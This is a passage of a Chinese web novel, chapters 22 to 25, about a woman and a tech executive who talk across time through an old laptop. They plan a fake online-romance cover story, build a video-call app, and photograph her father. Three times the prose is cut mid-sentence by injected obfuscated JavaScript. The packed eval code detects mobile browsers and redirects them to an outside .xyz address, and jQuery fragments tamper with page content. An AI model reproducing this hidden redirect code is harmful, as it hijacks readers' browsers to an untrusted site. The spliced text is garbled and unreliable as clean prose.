对方在这个地方停顿了一下，他的呼吸不自觉放缓，心也悬了起来。 紧接着，坏消息后面补上了缺失的内容：“我对外宣称是你的女朋友。” 22.22 告知了好消息和坏消息，程安宁又补上一句：“我觉得假装你女朋友方便我接下来在关于你的事情上好办事，希望你不要介意。” 打完这句话，她忐忑地等待对方的回复。 平白无故多了个名义上的女朋友，就算介意也没办法了，话都说出去了，眼下重要的是相互合作，帮助彼此避开灾祸。 她现在主要是想让他帮忙一起圆这个谎，方便她接下来可以继续以他女朋友的身份去深入了解当年的事情。 就在她思考要让对方怎么配合时，眼前的文档上出现了回复：“不介意。” 程安宁面上一喜，松了口气。 是个明事理的大佬，她可以放心了。 接着，文档上又冒出一句：“希望这个身份不会给你们带来困扰。” 程安宁疑惑：“你们？还有谁？” 对方换行在底下回复：“你男朋友。” 程安宁在电脑前噗嗤一笑，“放心吧，我没有男朋友。不然我可不敢在有对象的情况下还冒认你女朋友的身份。” 电脑的另一端，梁彦眉眼舒缓，心里莫名松了口气，连他也说不清楚这种情绪。 程安宁继续在文档上打字：“好了，接下来我跟你说说我傍晚遇到的事情吧。” 随后，她特地避开他如今瘦得皮包骨的模样，以及无人问津的现状不说，把傍晚去医院探望他，结果遇到一群人的事情全都用文字描述出来。 梁彦的目光跟随着一个个蹦出来的文字，逐渐了解到她傍晚的遭遇。 总结起来就是，她去了医院看他，结果离开的时候正好被六个人挡住去路，其中有个男人质疑她是媒体记者的同时，还抢了她的包，最后她选择报警…… 不过是去趟医院，怎么会发生这么惊险的事情？梁彦蹙眉，键盘上的双手刚动起来准备打字问她有没有事，就见眼前的屏幕突然弹出相机界面。 一张白净精巧的脸蛋出现在他眼前。 对方冲着镜头开心招手，脸上笑意浓，接着便拿起一个盒子对着镜头打开展示。 透过相机界面，梁彦看到她手上一盒炸鸡。 梁彦愣了一瞬，不太明白她为什么突然给自己看一盒炸鸡。 但很快，对方放下手中的盒子开始打字。 屏幕上也随之出现内容：“报警后警察确认我的身份不是记者，对方跟我道歉和赔了我五千块，我用这笔钱去吃了炸鸡，还打包回来了，可惜你吃不到，不然可以跟我庆祝一下得到这笔意外之财。” 梁彦恍然大悟，目光重新回到相机界面，看她在电脑前喜滋滋的样子，嘴角也跟着上扬。 没事就好。 屏幕上又出现对方发出的内容：“那个男的明显是那群人的头儿，他长相有个特点，就是右眼眉骨上有一道疤，你认识这个人吗？他一口一个是你多年的朋友，看人是用鼻孔看人的，特别欠揍。” 梁彦想了想，皱眉加深，回复：“不认识。” 他认识的人里没有脸上带疤的，也没有这么傲慢无礼的人。 难道是后来认识的？ 不对，如果是后来认识的，对方为什么说是他多年的朋友？ 疑问一个个冒出来，文档上再次跳出新的内容：“好吧，这个事情先放一边。我们现在有更重要的事情要做。” 梁彦问：“什么？” 程安宁接着又把道歉补偿后发生的事情告诉他，其中就包括她张口就来的鬼扯神功，也就是她为什么要冒认女朋友这个身份。 最后她总结道：“现在为了证实我的话，你要配合我造个证据，这样方便我以后拿出来应付人家。” 梁彦看完她的描述和编造的故事，有些忍俊不禁。 这个两人网恋相识的故事确实牵强离谱，但逻辑方面还算说得通，只是一般人不会相信这种事情。更何况对方如果是一个清楚他为人的人，肯定知道这不是他会做出来的事情。 现在他要为这个不像自己会做出来的事情，造一个让人信服的证据增加真实性。 梁彦随之回复：“好的，需要我怎么配合？” 程安宁在文档上输出自己的想法：“我想过了，现在是捏造不了聊天记录、通话记录之类的证据了。最简单粗暴的办法就是你用自己的手机出镜录个视频，要突出你是我的男朋友的那种感觉，要让人一看视频就知道我确实是你的女朋友。” 程安宁不忘在最后补充：“不要录那种一上来就坐在那里说我是程安宁的男朋友什么的，太刻意太假了，要自然点，也要生活化一点。最好是上演真情流露，然后不经意间透露出我们是情侣关系。” 看到她下发的这个任务，梁彦眼皮一跳，像是遇到了要五彩斑斓的黑的甲方，顿时一个头两个大。 程安宁这边还在噼里啪啦打字：“等你把视频录制好了，你传输到这台电脑上，我这边就可以通过电脑传到我自己手机上了。” 这样她就可以时刻揣着这份证据了，谁要是敢质疑，立刻亮出视频，而且是欢迎鉴定真假的那种。 梁彦发问：“录制视频我没什么头绪，你有什么好的建议吗？” 看来录视频这件事难住了这位大佬。想想也是，要录个视频跟假对象装恩爱确实有难度，程安宁提议：“这样吧，你录视频前给自己做个假设。假设自己真的谈了个网恋对象，你们在热恋中，你想给她录制一段视频跟她分享自己的日常，或者你回忆一下以前谈恋爱的感觉，这样一来你应该能代入吧？” 梁彦沉默。 不能。 对于一个没有恋爱经验的人来说，甚至没有过往的感觉可以回味和参考。不过人家的提议可以作为一个参考的方向。 与此同时，程安宁见他没再秒回，大致明白对他来说还是有难度，于是很是贴心地补上一句：“不急，你可以慢慢酝酿找找感觉，别拖太久就行。” 她已经去医院探望过了，而且那边没有人可以让她打探到想要的消息，再加上今天那个男的已经派人守在那里防着她，所以她短时间内不会再去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680851|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 接下来她要考虑的是，如何进到未来科技大厦，以及怎么做才能打探自己想要了解的事情。 她这么积极地干正事，让对方帮她一个小忙是可以的吧？ 想到这，程安宁憋不住，直接在文档上打出心里所想：“我今天去医院探望你了，算是给你带来了一点消息，你能不能也帮我一个忙？” 话题突然转变，梁彦回复：“你说。” 像是准备已久的请求，屏幕上很快跳出对方的回复：“我很久没见我爸妈了。你最近有空的话，可不可以到我家附近偷偷拍下他们的照片给我？” 原来是想念家人了。梁彦爽快回复：“可以。” 敲下这两个字，他侧目瞥见相机界面里对方明媚欣喜的笑脸。 那双清莹明亮的杏眸恰好此时看向摄像头的方向。 像是面对面冷不防对上视线，梁彦有一瞬的怔忡，掩饰般极速地扭过头。 但很快意识到这只是单方面的对视，他脸上的尴尬一闪而过，视线又回到电脑屏幕上。 接着，他看到文档上浮现了两个字：“谢谢！” 电脑的另一端，程安宁总算把最想说的说出来了，这会儿整个人放松下来，浓重的疲倦感席卷而来。 她打了个哈欠，在电脑上发出最后的疑问：“梁总，我在网上查过你的资料，据说你很擅长在电子领域方面开发各类产品，你可不可以结合我们的情况给这台电脑专门做一款软件方便我们聊天？” 她今晚回来后一开电脑就光顾着打字了，都没来得及去给自己接杯水喝，这要是能说话会方便很多。这样一来，两人以后也不用在跟对方说事情之前还要动脑组织语言再打字描述出来了。 梁彦见状回复：“我抽空试试。” 两人长期保持联络的话，一直靠打字交流确实会有些费劲。 顿了顿，他在这句话后面补上一句：“以后直接称呼我的名字就可以了。” 程安宁会意应下：“好，你也不要称呼我程女士了，喊我名字就行。对了，我们现在也算是朋友了对吧？” 下一行很快冒出回复：“嗯。” 程安宁嘴角微扬，顺势结束对话：“我昨天兴奋得一夜没睡，今天还照常工作和跑了一趟医院，现在总算知道累了，我要休息了，你也早点休息吧，晚安。” 打完这句话，她看到对方也回复了“晚安”二字，这才下机休息。 电脑的另一端，梁彦看着电脑屏幕上的相机界面和文档界面接连关闭，最终变回单调的桌面。 两人的联系就此切断，他知道对方不在电脑前了。 电脑失去本就不应该有的生气，反倒让人有些无所适从，梁彦在原位呆坐一瞬，接着找回注意力，开始思考眼下需要解决的事情： 一是帮忙录制视频证据，二是结合两人的情况，给这台笔记本电脑开发一款定制软件让两人能够通过说话交流。 前者是一时搞不定了，后者涉及到专业上的问题，他现在就可以尝试。 23.23 梁彦通宵把软件做出来了。 结合电脑和两人的情况，经过多次调试和修改，一款只适配于这台旧笔记本电脑的通话软件顺利出世，接下来只需要等对方今晚开电脑配合着跟他做个测试就知道是否能正常使用。 带上两台电脑，梁彦照常到公司开启新一天的工作。 刘志辉每天必做的事情就是晃悠到好兄弟的办公室找存在感。 一到下午，刘志辉就像npc一样开始执行任务，和往常一样敲开门，满面春风地走进办公室：“彦哥。” 梁彦正在拔电脑的充电线，闻声抬眼，轻嗯一声，随后收回视线，继续忙手头上的事情。 刘志辉挪步靠近他的办公桌，神秘兮兮地压低声音：“公司搬迁的具体时间确定下来了，就在十月份的十八号，也就是下下个月。这是我们下午的开会内容之一，我先过来透露给你。” 梁彦平淡点头，表示自己知道了。 刘志辉走到桌前停下，看到他手里正拿着那台黑色亮面的旧笔记本电脑，神色一怔：“不是，你怎么又在用这台旧电脑？” 梁彦反问：“有问题？” 刘志辉一噎，讪讪挑眉：“倒也没问题，这是你的电脑，你用不用它我都管不着。” 他就是有点担心这位兄弟的精神状态，怕从他嘴里又听到什么能够通过电脑跟人交流的诡异事情来。 想到这，他语气试探：“这台电脑……最近没发生什么怪事吧？” “没有。”梁彦神色平淡，转身拿了个电脑包把那台旧电脑装进去。 他和对方已经达成共识，要对外保密两人能够跨时空交流的事情，所以他没必要再跟身边的人提起。 刘志辉松了口气，顺势在旁边的椅子坐下，“对了，阿姨又来了，你确定不去看她吗？她还亲手做了小蛋糕带过来，让大家分了吃。” 此话一落，梁彦倏地抬头，脸色和语气同时变得冷沉：“我之前貌似说过不要让她进来。” 刘志辉尴尬挠头，无奈地叹了口气：“这我也没办法，怎么说是个长辈，她非要跟我一块儿进公司和打招呼，我实在不好不搭理。” 梁彦提起电脑包，看了眼腕表上的时间，挪步丢下一句：“我有私事要出去一趟，会在公司开会之前回来，你想办法让她走，别让她打扰大家工作。” 难得见他有私人行程，刘志辉神色惊奇得仿佛看到怪物，随即起身跟上：“你要去哪里？我可以跟吗？” 梁彦斜睨一眼，发出灵魂质问：“你很闲么？你负责的工作做完了？” 刘志辉再次一噎，整个人瞬间蔫了。 梁彦不忘提醒：“别忘了我交代的事情。” 说完，他开门走出办公室。 刘志辉一脸生无可恋地跟在他身后。 两人经过办公区，看见一副其乐融融的景象，一道雍容华贵的身影被大家围在中间，脸上堆着和善的笑意，跟大家有说有笑。 其中一位员工员工发现了他们，欢快地挥手打招呼：“梁总、刘总！” 梁彦淡淡点头，收回视线往电梯的方向去。 原本被簇拥着的身影从人群中挤出来，语气惊喜：“阿彦！” 梁彦置若罔闻，径直往电梯的方向去。 那道身影很快跑到他面前挡住去路，手里拿着一个纸杯蛋糕，献宝似的递上前：“阿彦，我知道你喜欢吃我做的蛋糕，我特地给你留了。” 那张保养极佳的脸强势地闯入他的视线，带着小心翼翼讨好的笑意，梁彦的心毫无波澜，面色冷峻：“你前夫上次在公司楼下寻衅滋事被带走了，如果你不想跟他有一样的下场就不要再过来妨碍大家。这里的每个人都很忙，没人要看你做戏。” 此话一落，原本热闹的办公区像被按下暂停键，瞬间安静下来。 大家满脸震惊，面面相觑。 “噔”的一声，电梯门打开，那道颀长的身影在大家的注视下走进电梯，独自离开，只留下一人站在原地黯然神伤。 其他人这才跟被按下播放键似的，纷纷小声讨论： “梁总过分了，怎么说也是他妈妈啊……” “是啊，搞不懂他为什么要用这种态度，他妈妈看着人挺好的。” “就算之前有什么矛盾，人家长辈主动低头了，一起坐下来好好聊聊也好啊。” 刘志辉轻咳两声，打断议论声，“都继续工作吧，不要议论他人的私事。” 话落，大家识趣闭嘴，赶忙回到自己的工位上。 刘志辉走向电梯旁的那道身影，“阿姨，我送你下楼。” 任芳菲抬手拭泪，哽咽道：“你说，这孩子怎么就这么恨我呢？” 刘志辉没有回话，只是轻拍她的肩膀以示安抚，抬起另一只手按下电梯的开门键。 他和梁彦是大学期间认识的，不清楚梁彦和他家人的关系如何，梁彦也从没提起过他的家人，只知道过年过节大家都回家了，只有梁彦一人留在学校。 他主动问过，梁彦不说，他也就没有打探到底，但隐约能够感觉到梁彦跟家人的关系不好。 不过，他相信梁彦的人品，没有人会平白无故这样对待自己的至亲。 …… 八月酷暑，中午到下午正是高温的时间段。 烈日把地面晒得发烫，车辆碾过掀起的风带起了阵阵热浪。 梁彦离开公司，打开手机备忘录，在车内的导航输入地址。 他现在要去的是东林区的朗月居南区第168号，是一个豪华别墅区里的其中一栋别墅，也是程安宁的家。 达成共识决定合作的那一晚，两人就交换了一些基础信息，所以他不仅有程安宁的家里地址，还有当年发生火灾的工厂地址。 距离程安宁家里出现变故不到一年时间，他要做的就是到时候阻止她父母在那天晚上前往工厂。至于到时要用什么办法阻止，还需要想想。 而他今天是抽空探路熟悉路线，这样方便他今后办事，顺便看看能不能顺利拍下程安宁父母的照片。如果不行的话，下次再换别的时间段过来，毕竟这会儿大夏天，应该没人会在下午这个时间段在家门口走动。 开了一个小时左右的车程，梁彦到了别墅区的南门。 门卫拦住他的车，要外来的车辆做访客登记。 梁彦照做后，顺利开着车进入别墅区。 绕了一大圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711892|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，外加找对应的别墅，就已经花掉了半个小时，不过他还是找到了准确的方向。 陆续经过数栋别墅逐渐靠近168号别墅的位置时，隔着一段距离，梁彦看到了别墅门口的一道倩影。 他神色一怔，把车停在167号别墅外没再往前。 不远处，少女绑着简易的高马尾，穿着豆绿色的吊带连衣裙，衬得本就白皙的肤色在阳光下发亮，她一手挡在额头上，一手在拼命往脸上扇风，双颊因毒辣的太阳而晒得泛红。 那张娇俏的侧颜，和他在电脑上看到的那张脸重合在一起。 此刻出现在他眼前的是十八岁的程安宁。 少女身形纤细，正气鼓鼓地往门内张望，亮丽的裙摆和脑后乌黑的马尾随着她来回踱步轻轻摆动，她不时动了动小嘴，似乎在跟谁说话。 梁彦微微蹙眉。 这么热的天气，怎么站在外边？ 他下意识拉开车内的抽屉，拿出里面一把折叠伞。 但很快，他意识到了什么，打消了刚冒出的念头。 他似乎……不应该提前跟这个时空的程安宁接触。 折叠伞重新放回抽屉，梁彦沉住气，靠回驾驶座的靠背。 不一会儿，他的视线里出现一个清瘦挺拔的男生。 男生清秀帅气，搬着一个梯子从别墅的院子里出来，脸上带着阳光的笑容，空出一只手就要去揉那道倩影的头发。 少女眼疾手快，拍开他的手，肃着小脸在说话。 梁彦眸光微凝，悄然降下车窗。 无形的热浪涌进车内，无孔不入，让人的心情瞬间变得焦躁。 不远处的清亮女声随之传进车内：“都怪你！我大热天的还要陪你出来捡球，我要是变黑了我非扒了你的皮不可！” 回应她的是男生的嬉皮笑脸：“没事，你这张脸就算抹灰了都好看，区区变黑算什么？” 少女气得瞪他：“闭嘴吧你！赶紧把球捡了！” “是是是，小的这就捡。”男生边说边将梯子靠着墙放好，神色犹豫地晃了晃并不稳固的梯子：“不过这梯子轻飘飘的，我感觉我踩上去不会塌吧？” 程安宁一把推开他，整理着裙子直接上梯子：“我来！你扶梯子！你这么墨迹，再等下去我就要晒成酱油了！” 车内，梁彦看着那道穿着裙子的倩影踏上梯子，又看了看在旁边扶住梯子偷笑的男生，皱眉加深，握着方向盘的手不由得收紧。 很快，梯子上的程安宁取到落在院子围墙上的羽毛球，低头跟旁边的男生说：“楚逸，我不想打羽毛球了，你回你家去吧。” 楚逸神色悻悻，“这么小气？不就是把球打到外边来吗？我现在听你的话不贪玩了行不行？” “不行。”程安宁语气坚决，低头就要下梯子。 楚逸见状，松开扶着梯子的手，“你不答应，我就不给你扶梯子了。” 没了旁人帮忙扶住梯子，只要稍微有动作，梯子就开始小弧度摇晃，程安宁顿时吓得不敢动，气得大骂：“楚逸你这个狗！” 像是以对方生气作为恶作剧成功的标准，楚逸哈哈大笑，张开双手示意：“直接跳下来吧，我接住你。” 24.24 车内，梁彦太阳穴突突直跳。 他和被开玩笑的人都不觉得这种行为好笑。 深呼吸一口气，梁彦打开车门锁，拉开门把手正要下车，一道醇厚温和的声音从不远处传来：“宁宁，到爸爸这边。” 梁彦抬眼，看到一位身材高大的中年男子从院子里出来，走到梯子旁张开双手。 理智回笼，梁彦默默收回手。 与此同时，不远处，站在梯子上的程安宁秒变开心，放心地跳入自家父亲的怀抱。 程父接住她，把她放回地面，面上皱眉却又不敢大声呵斥，只化作一声无奈的叹息：“宁宁，你穿着裙子怎么能爬梯子？” 程安宁嘿嘿一笑，直接撩起裙摆，露出里面的牛仔短裤：“没事，我里面穿着裤子呢。” 程父和楚逸被她这惊人的举动吓了一跳。 不远处的车内，梁彦也被她突然撩起裙子的豪放动作惊了一瞬。 而后，程父嘴角泛起宠溺无害的笑，揉了揉她的脑袋：“好了，回屋里吧，外边天气热，小心中暑，也别待在楼上打羽毛球了，钟点工上去打扫了。” 程安宁点头应了声“好”，楚逸也点头应下，随后跟上程安宁的脚步。 程父抬手搭上他的肩膀，阻止他继续往前走，颇有一种老丈人看女婿，越看越不满意的既视感，原先的慈父模样在他人面前不复存在，冷着脸下逐客令：“你这小子该回去了，你爸刚打电话给我了。” 程安宁停下脚步，站在程父身后冲着楚逸幸灾乐祸地做了个鬼脸。 车内，梁彦拿着手机，将镜头对准不远处的三道身影，随后拉近画面，毫不犹豫地把一旁那道清瘦的身影隔出屏幕，只拍下另外两道身影。 - 工作一天回到家，程安宁以往都要瘫在沙发上一会儿再起来捣鼓这的那的，现在她回家的第一件事就是开电脑。 今天她利用上班摸鱼时间，试图在网上寻找如何进到未来科技公司打探消息的办法。 目前摆在她面前有两个选择：一是得到访客卡，二是入职未来科技公司。 而她没有未来科技的内部员工可以获得访客卡，也没有足够的工作经验可以进到未来科技这种大公司工作。 总之，两个选择都挺难的。 她打算跟梁彦聊聊从哪里找突破口。 很快，电脑顺利开机。 程安宁在电脑前坐下，一眼就看到桌面上出现两个图标相同的陌生软件图标，都是圆圆的摄像头图案。 软件名字一个是“程”，一个是“梁”。 程安宁面露疑惑，新建文档在上面留言：“电脑桌面上的两个软件是什么？” 不知道对方什么时候才会出现，她索性把文档界面搁在电脑桌面，随后起身烧水准备泡方便面吃。 另一时空，静谧明亮的办公室内。 梁彦翻出手机数据线在电脑前坐下，伸手按下开机键。 他低头翻着手机里的照片，只有两张程安宁和程父的同框照。 他下午没有蹲守到程母的出现，只拍到了程父，后面因为要赶着回公司开会就离开了。 其实他有点犹豫要不要先把照片传输到电脑上给程安宁看，还是等集齐了程母的照片再给她。 只有她父亲的照片的话，她会不会失落？ 梁彦发现其中一张照片有一只旁人的手入镜。 是下午那个缠着程安宁的男生。 他眉头微蹙，严谨地打开照片编辑功能，把那只手给截出画面，脑海中不自觉浮现下午看到两人嬉闹的一幕。 两人看上去是同龄人，并且从他们的对话上可以听出双方家庭是认识的。 那个男生和她是青梅竹马的关系吗？ 电脑顺利开机跳转到桌面，一个文档界面随即出现在眼前。 梁彦回过神，意识到自己的思绪跑偏了，不由得揉了揉眉心打起精神。 看到文档上的留言，梁彦明白程安宁已经在电脑前了。 他放下手机，把注意力先集中在眼前的询问，打字回复：“昨晚你说的软件做出来了，现在有空一起做个测试吗？” 程安宁端着一碗泡面放到桌上时，恰好看到文档上有了回复。 她神色惊喜，当即应下：“有！” 也就是说，两人现在可以实时说话交流了？！ 梁彦在文档上做出指示：“你把‘程’的软件打开。” 程安宁照做，把文档界面缩到任务栏，双击点开桌上那个名为“程”的软件。 电脑桌面跳出白色页面覆盖了整个屏幕，接着，在她疑惑的目光下，她的脸冷不防出现在自己的屏幕上。 程安宁跟自己的脸来了个近距离的对视，冷不防吓了一跳。 来不及细看，她赶紧把页面缩到任务栏。 这么突然的吗？ 一点开软件就能看到自己的大脸直接怼在屏幕上，而是没有美颜功能的那种，很吓人好不好！最近用的相机界面都是小窗口，看着还好，这个软件却不给任何反应的时间，窗口直接覆盖整个屏幕，她的脸就跟窗口一样在电脑上等比例放大。 她都怀疑刚才那张大脸不仅吓到她自己了，还吓到对方了。 程安宁重新点开文档界面问：“我打开软件了，你刚刚看到我了吗？” 电脑的另一端，梁彦还没来得及细看那张出现在屏幕上的脸蛋，就看到屏幕重新回到文档界面。 他继续指导：“看到了。接下来你重新点开那个界面，可以看到底部有一个麦克风图标，把它点开就可以试着说话，我看我这边能不能接收到声音。” 他结合电脑和两人的情况，经过多次修改调试，通宵把软件做出来了，所需要的基础功能都有。 底下很快冒出回复：“好的。” 随后，软件的界面再次覆盖文档，一张白皙精巧的小脸重新出现在电脑屏幕上。 这一次，对方自行缩小了窗口的大小，把软件的界面放在文档旁边。 梁彦视线定在软件里的那张脸蛋，见她茫然地盯着前方，也就是屏幕的方向，似乎正在按照他给出的指示找麦克风图标。 不一会儿，他看到对方弯起眉眼，一副解开谜题的明朗模样。 梁彦也不禁扬起嘴角，下秒，对方红唇微动，清亮俏皮的声音从电脑另一端传来：“摩西摩西，能听到吗？” 他瞳孔一缩，几乎是下意识开口：“能。” 紧接着，屏幕里传出另一句话：“你能听到的话，就在文档上扣1。” 梁彦反应过来，尴尬得脸庞有一瞬的发热，在文档敲下数字：“1。” “太好了！以后交流就方便多了！”电脑的另一端传来欣喜的语气，“对了，我是不是也可以看到你和听到你说话？我看到屏幕上有另外一个软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721126|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件写着‘梁’，我们以后是不是可以把两个软件界面放在屏幕上，这样我能看到你，你也能看到我了？” 不需要他说明就已经猜出来了，梁彦在文档上回复：“嗯。” “那你快点试试呀！”期待的神色和急迫的声音，实时地传达到他的这个时空。 梁彦关闭电脑桌面上的文档，打开了另外一个软件。 电脑的另一端，程安宁一脸期待，很快便看到电脑桌面弹出另外一个窗口。 在显示出画面之际，对方缩小了窗口，让两个软件的视频界面可以一同展示在电脑桌面上。 一张棱角分明、五官帅气出众的脸庞清晰地出现在她眼前。 又是这张帅她一大跳的脸，程安宁微抿小嘴掩住难压的嘴角，不好让自己笑得太明显。 一道清冽磁性的男声随之从电脑里传来：“能听到我的声音吗？” 程安宁呼吸一窒，面上平静点头：“听到了！” 长得帅就算了，连声音都好听。这要是身材也不错的话，简直绝杀！ 梁彦轻嗯一声，“看来没问题了，以后就用这个软件交流吧。” 程安宁点头应了声“好”，忍不住感慨：“你太厉害了！没想到我昨晚才提起，你这么快就把软件做出来了，你有这种效率做什么都会成功的！” 这个没法喷，是真的牛！ 直白的夸奖，再加上那双明亮真诚的眼眸，让梁彦一时不知道怎么回话。 屏幕前的他有些不自在地错开视线，生硬地转移话题：“在右下角还有一个省略号的图标，点出来可以展开一个聊天窗口，想输入的内容可以打在上面，就不需要额外打开文档了。” 他边说边演示。 电脑的另一端，程安宁见视频界面冒出聊天框，神色惊奇。 原先她是为了方便才问人家能不能试着做个软件，觉得能把双方说的话传达到彼此那里就行了，这样省得打字，结果现在不仅能够说话，还能视频实时看到对方，甚至多了打字聊天功能。 梁彦又补上一句：“如果还需要什么功能，可以告诉我。” 程安宁眸光一亮，正兴冲冲想开口提议，但突然想到了什么，改口道：“没有，这些功能够用了。” 本来想问能不能加美颜功能，但转念一想，又不是在跟暧昧对象视频聊天，还是不要有莫名其妙的形象包袱好了。 透过屏幕，梁彦明显捕捉到她脸上刚才的欲言又止，往日平淡无波的声音音不自觉多了一丝温和：“没关系的，可以尽管提建议。” 程安宁笑笑：“我目前还没想到，等我想到了再告诉你。” 梁彦轻嗯：“好。” 话落，氛围一时安静下来。 像是跟网恋对象初次视频那般的腼腆和扭捏，两人一时有些词穷和想不出要聊什么话题，甚至开始没事找事在动手收拾自己的桌子，企图假装很忙掩盖这种尴尬氛围。 程安宁的目光忍不住偷偷去瞥屏幕上那张脸，然后又心满意足地收回视线继续摆弄桌上的东西。 多看点美好的事物有利于身心愉悦这句话果然没错！ 这样一张脸就摆在她的电脑屏幕上，单是看着心情就会变好。 不过…… 程安宁的目光落在桌上冒着热气的泡面，默默咽了口唾沫。 好饿，她可不可以申请关掉这个软件嗦口泡面先？ 25.25 与此同时，电脑的另一端。 梁彦把桌上的纸质文件整理到一边，空白的脑袋有了这一点冷却时间，这才想起要事。 原本他还没想好要不要告诉程安宁他今天去了她家附近，但是想起两人在决定合作的那天晚上已经说好相关消息要实时分享，他决定还是先给她看今天拍到的照片。 想到这，梁彦抬眼看向电脑屏幕，正要开口，恰好看到视频界面里的程安宁嘴里叼着一个塑料叉子，双手捏着泡面桶的边沿。 程安宁想给泡面挪个位置，无意间扫了眼电脑，发现对方正在看着自己，差点手抖没拿稳。 四目相对，梁彦率先发问：“你准备吃东西吗？” 程安宁点头放下泡面桶，顺势取下嘴里的叉子，面上尴尬笑笑：“我还没吃晚餐，所以……” 梁彦闻言会意：“你先吃，我们待会再说。” 程安宁做了个OK的手势：“好，给我十分钟！” 说完，她伸手关闭自己的视频界面。 对方的脸消失在电脑上，梁彦收回视线，神色若有所思。 晚餐……就只是泡面吗？ 程安宁说到做到，在十分钟内填饱了肚子。 等到她清理完垃圾回到电脑前，发现梁彦自己的视频界面没有关闭，只是角度变得不一样了，原先他是正对着电脑，现在她看到的是他的侧脸角度。 确切地说，是电脑被挪到一旁了，而梁彦这会儿的注意力集中在另外一台电脑上，所以呈现在她眼前的是专注办公的梁彦。 程安宁发现他的桌子以及身后的背景跟先前几次看到的不一样，今晚似乎在其它地方。 屏幕上的那张侧脸和正脸一样出众，没有一点死角，只是神色冷峻，带着生人勿近的气场，那双深邃平静的桃花眼映着屏幕散发的冷光，程安宁却隐约看到了他眼里透着弥久不散的忧郁，似乎生命力的亮光早已枯竭。 程安宁被这种感觉吓了一跳。 不好再悄摸盯着人家看，程安宁打开电脑桌面上那个专属软件，开口打招呼：“不好意思久等了，我回来了！” 电脑的另一端，突然响起的声音让梁彦从工作状态中抽离出来。 他转头看向旁边的旧笔记本电脑，看到屏幕上那张精巧的小脸，“忙完了？” 程安宁点头轻嗯，反问：“你吃了吗？” “已经吃了。”梁彦边说边将电脑放回自己面前。 程安宁语气好奇：“你的背景好像跟前几次不一样。” “我还在公司。”梁彦解惑。 程安宁愣了愣，“你今晚需要加班吗？” 梁彦颔首低嗯：“还有点工作要处理。” 现在这台旧笔记本电脑比较特殊，他都是走到哪里就带到哪里。 闻言，程安宁识趣回话：“那我们快点聊完正事让你可以继续忙工作。” “好。”梁彦应下，顿了顿，正要说今天的事情，就听程安宁率先开口道：“我有事情要跟你商量。” 梁彦止住未脱口的话，“你说。” 程安宁很快把自己想进到未来科技公司打探消息的计划说出来，其中包括自己想到的两个方法。 梁彦安静倾听，在听到她纠结两个方法要如何选择时，适时回话：“或许可以不用这么麻烦。” 程安宁眸光一亮，“你有更好的办法？” 梁彦提议：“我把我两位朋友的联系方式发给你，你可以联系他们。” 这样想了解什么事情都可以问。 程安宁面上一喜，觉得这个办法可行，但很快在细想之下提出异议：“可是他们凭什么告诉我？我对他们来说是一个陌生人，我联系他们打听你的消息，会不会被当做怪人或者是别有用心？” “万一他们问我是谁，我要怎么说？说是你的网恋女朋友吗？”一想到自己编造的这个荒谬故事，程安宁有点想笑。 不料电脑那端传来对方的认真应答：“嗯，就以这个身份。” 梁彦道：“我们不是还要为这个网恋故事制造证据吗？到时你可以给他们看证据。” “也是。”程安宁打消了疑虑，顿了顿，随口一问：“我让你录制的视频证据怎么样了？” 梁彦微噎，面上的窘迫一闪而过，语气如常：“还没开始录制，再给我点时间。” 要假装给网恋女朋友录制自己的日常视频，说实话，他都能想象到自己在镜头前僵硬拙劣的演技了。 他可能需要抽空上网找一下视频素材参考。 “行，我等你消息。”程安宁没有要催他的意思，随后自觉结束话题：“那你继续忙吧，我不打扰你了。” 说完，她挥了挥手，另一只手落在电脑的触控板上，移动鼠标指针准备关闭视频软件的界面。 “安宁。”鼠标指针刚落在关闭图标上，磁性温和的男声突然响起。 程安宁一怔，像是一股无形的电流落在心口，心跳和呼吸都不约而同地乱了一瞬。 她抬眼看向屏幕，不确定问：“你刚刚是喊我了吗？” 第一次听这位大佬喊她的名字，怎么有种微妙的感觉？ 梁彦轻嗯一声，开门见山道：“我今天下午去了你家附近。” 程安宁瞳孔一缩，原先波澜不惊的杏眸肉眼可见地亮了起来，闪烁着浓烈的期待：“然后呢？” 梁彦如实告知：“我拍到了您父亲的照片，很可惜没有看到您母亲出现，我下次再抽空过去。” 闻言，程安宁克制着激动的情绪，但欣喜的笑意已经从眼里跑出来，“能先看到任何一人的照片我已经很高兴了！” 说话间，梁彦拿起数据线，将手机连接到电脑上。 他的视线重新回到电脑上的视频界面，看到那张眼含笑意的小脸正专注地盯着镜头，像是在看他。 梁彦眼里闪过一丝柔色，嘴角的笑意转瞬即逝。 早知道这么开心的话，就提前告诉她了。 